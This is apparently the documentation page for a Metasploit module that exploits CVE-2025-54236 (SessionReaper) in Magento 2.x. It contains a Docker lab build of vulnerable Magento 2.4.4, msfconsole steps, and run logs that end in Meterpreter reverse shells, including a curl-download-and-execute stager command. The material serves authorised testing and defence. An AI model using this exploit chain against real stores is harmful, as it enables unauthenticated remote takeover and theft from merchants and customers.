e9467cd1e3
Co-authored-by: jheysel-r7 <jheysel-r7@users.noreply.github.com>
406 lines
14 KiB
Markdown
406 lines
14 KiB
Markdown
## Vulnerable Application
|
|
|
|
Magento/Adobe Commerce is a popular e-commerce platform written in PHP. A vulnerability exists in Magento 2.x that
|
|
allows an unauthenticated user to gain arbitrary code execution through nested deserialization and unauthenticated file
|
|
upload.
|
|
|
|
This vulnerability (CVE-2025-54236, also known as SessionReaper) affects Magento 2.x instances using file-based session
|
|
storage. **Note:** File-based session storage is not enabled by default in Magento. The target must be explicitly
|
|
configured to use file-based sessions (typically via `app/etc/env.php` with `'session' => ['save' => 'files']`) for this
|
|
vulnerability to be exploitable. By default, Magento uses database or Redis session storage.
|
|
|
|
**Exploit limitations:** In production environments, the upload directory (`media/customer_address/`) where the malicious
|
|
session file is uploaded is generally configured as read-only, which prevents successful exploitation. This exploit
|
|
therefore has limited applicability in hardened production environments. The module was specifically tested against
|
|
Magento 2.4.4.
|
|
|
|
### Description
|
|
|
|
This module exploits CVE-2025-54236 (SessionReaper) in Magento/Adobe Commerce. The vulnerability allows unauthenticated
|
|
remote code execution through nested deserialization and unauthenticated file upload.
|
|
|
|
The exploit chain:
|
|
1. Uploads a malicious session file via unauthenticated endpoint `/customer/address_file/upload`
|
|
2. Triggers deserialization by modifying session savePath via REST API endpoint
|
|
`/rest/default/V1/guest-carts/{cart_id}/order`
|
|
3. Executes arbitrary PHP code
|
|
|
|
Patched versions return 400 Bad Request instead of processing the payload.
|
|
|
|
### Installation
|
|
|
|
#### Magento 2.4.4 with Docker
|
|
|
|
Create a directory for the lab environment:
|
|
|
|
```bash
|
|
mkdir -p test/magento
|
|
cd test/magento
|
|
```
|
|
|
|
Create `docker-compose.yml`:
|
|
|
|
```yaml
|
|
version: '3.8'
|
|
|
|
services:
|
|
app:
|
|
build:
|
|
context: .
|
|
dockerfile: Dockerfile
|
|
args:
|
|
- MYSQL_HOST=db
|
|
- ELASTICSEARCH_HOST=elasticsearch
|
|
container_name: magento-test
|
|
ports:
|
|
- "8082:80"
|
|
environment:
|
|
- MYSQL_HOST=db
|
|
- MYSQL_DATABASE=magento
|
|
- MYSQL_USER=magento
|
|
- MYSQL_PASSWORD=magento
|
|
- ELASTICSEARCH_HOST=elasticsearch
|
|
- ELASTICSEARCH_PORT=9200
|
|
- PHP_MEMORY_LIMIT=2G
|
|
volumes:
|
|
- appdata:/var/www/html
|
|
- sessions:/var/www/html/var/session
|
|
depends_on:
|
|
- db
|
|
- elasticsearch
|
|
restart: unless-stopped
|
|
|
|
db:
|
|
image: mariadb:10.4
|
|
container_name: magento-db
|
|
environment:
|
|
- MYSQL_ROOT_PASSWORD=root
|
|
- MYSQL_DATABASE=magento
|
|
- MYSQL_USER=magento
|
|
- MYSQL_PASSWORD=magento
|
|
volumes:
|
|
- dbdata:/var/lib/mysql
|
|
restart: unless-stopped
|
|
|
|
elasticsearch:
|
|
image: docker.elastic.co/elasticsearch/elasticsearch:7.17.0
|
|
container_name: magento-elasticsearch
|
|
environment:
|
|
- discovery.type=single-node
|
|
- "ES_JAVA_OPTS=-Xms512m -Xmx512m"
|
|
- xpack.security.enabled=false
|
|
volumes:
|
|
- esdata:/usr/share/elasticsearch/data
|
|
restart: unless-stopped
|
|
|
|
volumes:
|
|
appdata:
|
|
sessions:
|
|
dbdata:
|
|
esdata:
|
|
```
|
|
|
|
Create `Dockerfile`:
|
|
|
|
```dockerfile
|
|
FROM php:7.4-apache
|
|
|
|
# Install system dependencies
|
|
RUN apt-get update && apt-get install -y \
|
|
libxml2-dev \
|
|
libxslt-dev \
|
|
libzip-dev \
|
|
libonig-dev \
|
|
libfreetype6-dev \
|
|
libjpeg62-turbo-dev \
|
|
libpng-dev \
|
|
libicu-dev \
|
|
git \
|
|
unzip \
|
|
curl \
|
|
wget \
|
|
default-mysql-client \
|
|
&& rm -rf /var/lib/apt/lists/*
|
|
|
|
# Install PHP extensions
|
|
RUN docker-php-ext-configure gd --with-freetype --with-jpeg \
|
|
&& docker-php-ext-install -j$(nproc) \
|
|
bcmath \
|
|
dom \
|
|
gd \
|
|
intl \
|
|
mbstring \
|
|
mysqli \
|
|
opcache \
|
|
pdo_mysql \
|
|
soap \
|
|
xsl \
|
|
zip \
|
|
sockets
|
|
|
|
# Install Composer
|
|
RUN curl -sS https://getcomposer.org/installer | php -- --install-dir=/usr/local/bin --filename=composer
|
|
|
|
# Enable mod_rewrite
|
|
RUN a2enmod rewrite
|
|
|
|
# Create installation script inline
|
|
RUN cat > /install-magento.sh << 'INSTALL_EOF'
|
|
#!/bin/bash
|
|
set -e
|
|
echo "[*] Downloading Magento 2.4.4 (vulnerable to CVE-2025-54236)..."
|
|
cd /tmp
|
|
rm -rf magento2-2.4.4 magento.tar.gz
|
|
wget -q https://github.com/magento/magento2/archive/2.4.4.tar.gz -O magento.tar.gz
|
|
echo "[*] Extracting Magento..."
|
|
tar -xzf magento.tar.gz
|
|
echo "[*] Copying Magento files to /var/www/html..."
|
|
cd /var/www/html
|
|
for item in * .*; do
|
|
[ "$item" = "." ] || [ "$item" = ".." ] || [ "$item" = "var" ] && continue
|
|
rm -rf "$item" 2>/dev/null || true
|
|
done
|
|
cp -r /tmp/magento2-2.4.4/* /var/www/html/
|
|
cp -r /tmp/magento2-2.4.4/.* /var/www/html/ 2>/dev/null || true
|
|
rm -rf /tmp/magento.tar.gz /tmp/magento2-2.4.4
|
|
cd /var/www/html
|
|
echo "[*] Setting permissions..."
|
|
chown -R www-data:www-data /var/www/html
|
|
chmod -R 755 /var/www/html
|
|
echo "[*] Installing Composer dependencies..."
|
|
composer self-update --1 2>/dev/null || true
|
|
php -d memory_limit=2G /usr/local/bin/composer install --no-dev --optimize-autoloader --no-interaction --ignore-platform-reqs 2>&1 | tail -30 || echo "[!] Composer install had issues"
|
|
php -d memory_limit=2G /usr/local/bin/composer update --no-dev --no-interaction --ignore-platform-reqs 2>&1 | tail -30 || true
|
|
echo "[*] Installing Magento..."
|
|
php -d memory_limit=2G bin/magento setup:install \
|
|
--base-url=http://127.0.0.1:8082/ \
|
|
--db-host=db \
|
|
--db-name=magento \
|
|
--db-user=magento \
|
|
--db-password=magento \
|
|
--admin-firstname=Admin \
|
|
--admin-lastname=User \
|
|
--admin-email=admin@example.com \
|
|
--admin-user=admin \
|
|
--admin-password=Admin123! \
|
|
--language=en_US \
|
|
--currency=USD \
|
|
--timezone=America/New_York \
|
|
--use-rewrites=1 \
|
|
--backend-frontname=admin \
|
|
--search-engine=elasticsearch7 \
|
|
--elasticsearch-host=elasticsearch \
|
|
--elasticsearch-port=9200 2>&1
|
|
if [ -f /var/www/html/app/etc/env.php ]; then
|
|
echo "[*] Configuring file-based sessions..."
|
|
php -r "\$env = include 'app/etc/env.php'; \$env['session'] = ['save' => 'files']; file_put_contents('app/etc/env.php', '<?php return ' . var_export(\$env, true) . ';');"
|
|
echo "[*] Compiling Magento code..."
|
|
php -d memory_limit=2G bin/magento setup:di:compile 2>&1 | grep -E "(Compilation|SUCCESS|complete)" || echo "[!] Compilation output filtered"
|
|
echo "[*] Setting final permissions..."
|
|
chmod 644 /var/www/html/app/etc/env.php
|
|
chown www-data:www-data /var/www/html/app/etc/env.php
|
|
mkdir -p /var/www/html/var/session
|
|
chmod -R 777 /var/www/html/var
|
|
chown -R www-data:www-data /var/www/html/var
|
|
echo "[*] Magento installation complete!"
|
|
else
|
|
echo "[!] Installation failed - env.php not found"
|
|
exit 1
|
|
fi
|
|
INSTALL_EOF
|
|
RUN chmod +x /install-magento.sh
|
|
|
|
# Create entrypoint script inline
|
|
RUN cat > /entrypoint.sh << 'ENTRYPOINT_EOF'
|
|
#!/bin/bash
|
|
set -e
|
|
echo "[*] Starting Apache..."
|
|
apache2-foreground &
|
|
APACHE_PID=$!
|
|
echo "[*] Waiting for MySQL..."
|
|
until mysqladmin ping -h db -u magento -pmagento --silent 2>/dev/null; do
|
|
echo "[*] MySQL not ready, waiting..."
|
|
sleep 2
|
|
done
|
|
echo "[*] MySQL ready!"
|
|
echo "[*] Waiting for Elasticsearch..."
|
|
until curl -s http://elasticsearch:9200 >/dev/null 2>&1; do
|
|
echo "[*] Elasticsearch not ready, waiting..."
|
|
sleep 2
|
|
done
|
|
echo "[*] Elasticsearch ready!"
|
|
if [ ! -f /var/www/html/app/etc/env.php ]; then
|
|
echo "[*] Magento not found, installing..."
|
|
/install-magento.sh
|
|
echo "[*] Installation script completed"
|
|
else
|
|
echo "[*] Magento already installed"
|
|
fi
|
|
echo "[*] Ensuring session directory exists..."
|
|
mkdir -p /var/www/html/var/session
|
|
chmod -R 777 /var/www/html/var
|
|
chown -R www-data:www-data /var/www/html/var
|
|
echo "[*] ========================================"
|
|
echo "[*] Magento ready: http://127.0.0.1:8082/"
|
|
echo "[*] Admin: http://127.0.0.1:8082/admin/ (admin/Admin123!)"
|
|
echo "[*] ========================================"
|
|
wait $APACHE_PID
|
|
ENTRYPOINT_EOF
|
|
RUN chmod +x /entrypoint.sh
|
|
|
|
# Set working directory
|
|
WORKDIR /var/www/html
|
|
|
|
# Configure PHP memory limits
|
|
RUN echo "memory_limit = 2G" >> /usr/local/etc/php/conf.d/docker-php-memory.ini && \
|
|
echo "upload_max_filesize = 64M" >> /usr/local/etc/php/conf.d/docker-php-memory.ini && \
|
|
echo "post_max_size = 64M" >> /usr/local/etc/php/conf.d/docker-php-memory.ini
|
|
|
|
EXPOSE 80
|
|
|
|
ENTRYPOINT ["/entrypoint.sh"]
|
|
```
|
|
|
|
Build and start the containers:
|
|
|
|
```bash
|
|
docker compose up -d --build
|
|
```
|
|
|
|
Wait for the services to be ready (MySQL and Elasticsearch). The entrypoint script will automatically:
|
|
- Wait for MySQL and Elasticsearch to be ready
|
|
- Download and install Magento 2.4.4
|
|
- Configure file-based session storage
|
|
- Set proper permissions
|
|
|
|
Access Magento:
|
|
- Frontend: http://127.0.0.1:8082/
|
|
- Admin: http://127.0.0.1:8082/admin/ (admin/Admin123!)
|
|
|
|
The lab uses:
|
|
- Magento 2.4.4 (vulnerable version)
|
|
- PHP 7.4
|
|
- MariaDB 10.4
|
|
- Elasticsearch 7.17.0
|
|
|
|
## Verification Steps
|
|
|
|
1. Start msfconsole
|
|
2. Do: `use exploit/multi/http/magento_sessionreaper`
|
|
3. Do: `set RHOSTS <target_ip>`
|
|
4. Do: `set RPORT 8082` (or the appropriate port)
|
|
5. Do: `set TARGET 1` (for Unix/Linux Command Shell)
|
|
6. Do: `set payload cmd/linux/http/x64/meterpreter/reverse_tcp`
|
|
7. Do: `set LHOST <your_ip>`
|
|
8. Do: `set LPORT 4444`
|
|
9. Do: `run`
|
|
10. You should get a Meterpreter session
|
|
|
|
## Options
|
|
|
|
This module does not require any additional options beyond the standard HTTP client options.
|
|
|
|
## Scenarios
|
|
|
|
### Target 0 - PHP In-Memory (Magento 2.4.4 on Docker)
|
|
|
|
```
|
|
msf > use exploit/multi/http/magento_sessionreaper
|
|
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
|
|
msf exploit(multi/http/magento_sessionreaper) > set RHOSTS 172.21.0.1
|
|
RHOSTS => 172.21.0.1
|
|
msf exploit(multi/http/magento_sessionreaper) > set RPORT 8082
|
|
RPORT => 8082
|
|
msf exploit(multi/http/magento_sessionreaper) > set TARGET 0
|
|
TARGET => 0
|
|
msf exploit(multi/http/magento_sessionreaper) > set payload php/meterpreter/reverse_tcp
|
|
payload => php/meterpreter/reverse_tcp
|
|
msf exploit(multi/http/magento_sessionreaper) > set LHOST 172.21.0.1
|
|
LHOST => 172.21.0.1
|
|
msf exploit(multi/http/magento_sessionreaper) > set LPORT 4444
|
|
LPORT => 4444
|
|
msf exploit(multi/http/magento_sessionreaper) > set VERBOSE true
|
|
VERBOSE => true
|
|
msf exploit(multi/http/magento_sessionreaper) > run
|
|
|
|
[*] Started reverse TCP handler on 172.21.0.1:4444
|
|
[*] Running automatic check ("set AutoCheck false" to disable)
|
|
[+] The target appears to be vulnerable. Target returned 500 error with SessionHandler
|
|
[*] Generating Guzzle/FW1 deserialization payload...
|
|
[*] Uploading session file with Guzzle payload...
|
|
[*] Uploading malicious session file: sess_73351c2463bf78124de49e6c5fe6804a
|
|
[*] Triggering deserialization with savePath: media/customer_address/s/e
|
|
[+] Deserialization triggered (HTTP 404)
|
|
[*] Executing payload at: /pub/AbfsP.php
|
|
[*] Sending stage (41224 bytes) to 172.21.0.4
|
|
[*] Meterpreter session 1 opened (172.21.0.1:4444 -> 172.21.0.4:60798) at 2025-11-24 20:55:44 +0100
|
|
|
|
meterpreter > sysinfo
|
|
Computer : 93d562876bca
|
|
OS : Linux 93d562876bca 6.14.0-115036-tuxedo #36~24.04.1tux1 SMP PREEMPT_DYNAMIC Mon Nov 3 17:34:07 UTC 2025 x86_64
|
|
Architecture : x64
|
|
System Language : C
|
|
Meterpreter : php/linux
|
|
meterpreter > exit
|
|
[*] Shutting down session: 1
|
|
[*] 172.21.0.1 - Meterpreter session 1 closed. Reason: User exit
|
|
```
|
|
|
|
### Target 1 - Unix/Linux Command Shell (Magento 2.4.4 on Docker)
|
|
|
|
```
|
|
msf exploit(multi/http/magento_sessionreaper) > set TARGET 1
|
|
TARGET => 1
|
|
msf exploit(multi/http/magento_sessionreaper) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp
|
|
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
|
|
msf exploit(multi/http/magento_sessionreaper) > set LHOST 172.21.0.1
|
|
LHOST => 172.21.0.1
|
|
msf exploit(multi/http/magento_sessionreaper) > set LPORT 4444
|
|
LPORT => 4444
|
|
msf exploit(multi/http/magento_sessionreaper) > set VERBOSE true
|
|
VERBOSE => true
|
|
msf exploit(multi/http/magento_sessionreaper) > run
|
|
|
|
[*] Command to run on remote host: curl -so ./tVLJyRtY http://172.21.0.1:8080/jA-UlkUXeCwJQV_LW9doGw;chmod +x ./tVLJyRtY;./tVLJyRtY&
|
|
[*] Fetch handler listening on 172.21.0.1:8080
|
|
[*] HTTP server started
|
|
[*] Adding resource /jA-UlkUXeCwJQV_LW9doGw
|
|
[*] Started reverse TCP handler on 172.21.0.1:4444
|
|
[*] Running automatic check ("set AutoCheck false" to disable)
|
|
[+] The target appears to be vulnerable. Target returned 500 error with SessionHandler
|
|
[*] Generating Guzzle/FW1 deserialization payload...
|
|
[*] Uploading session file with Guzzle payload...
|
|
[*] Uploading malicious session file: sess_f96806648d613cac927613576dd37dc8
|
|
[*] Triggering deserialization with savePath: media/customer_address/s/e
|
|
[+] Deserialization triggered (HTTP 404)
|
|
[*] Executing payload at: /pub/AGD3.php
|
|
[*] Client 172.21.0.4 requested /jA-UlkUXeCwJQV_LW9doGw
|
|
[*] Sending payload to 172.21.0.4 (curl/7.74.0)
|
|
[*] Transmitting intermediate stager...(126 bytes)
|
|
[*] Sending stage (3090404 bytes) to 172.21.0.4
|
|
[*] Meterpreter session 2 opened (172.21.0.1:4444 -> 172.21.0.4:47580) at 2025-11-24 20:56:19 +0100
|
|
|
|
meterpreter > sysinfo
|
|
Computer : 172.21.0.4
|
|
OS : Debian 11.5 (Linux 6.14.0-115036-tuxedo)
|
|
Architecture : x64
|
|
BuildTuple : x86_64-linux-musl
|
|
Meterpreter : x64/linux
|
|
meterpreter >
|
|
```
|
|
|
|
### Check Command
|
|
|
|
```
|
|
msf exploit(multi/http/magento_sessionreaper) > check
|
|
[+] The target appears to be vulnerable. Target returned 500 error with SessionHandler
|
|
```
|
|
|
|
## References
|
|
|
|
- [CVE-2025-54236](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-54236)
|
|
- [Searchlight Cyber Blog - Why Nested Deserialization is Still Harmful: Magento RCE CVE-2025-54236]
|
|
(https://slcyber.io/research-center/why-nested-deserialization-is-still-harmful-magento-rce-cve-2025-54236/)
|
|
- [Adobe Security Bulletin](https://experienceleague.adobe.com/en/docs/experience-cloud-kcs/kbarticles/ka-27397)
|
|
|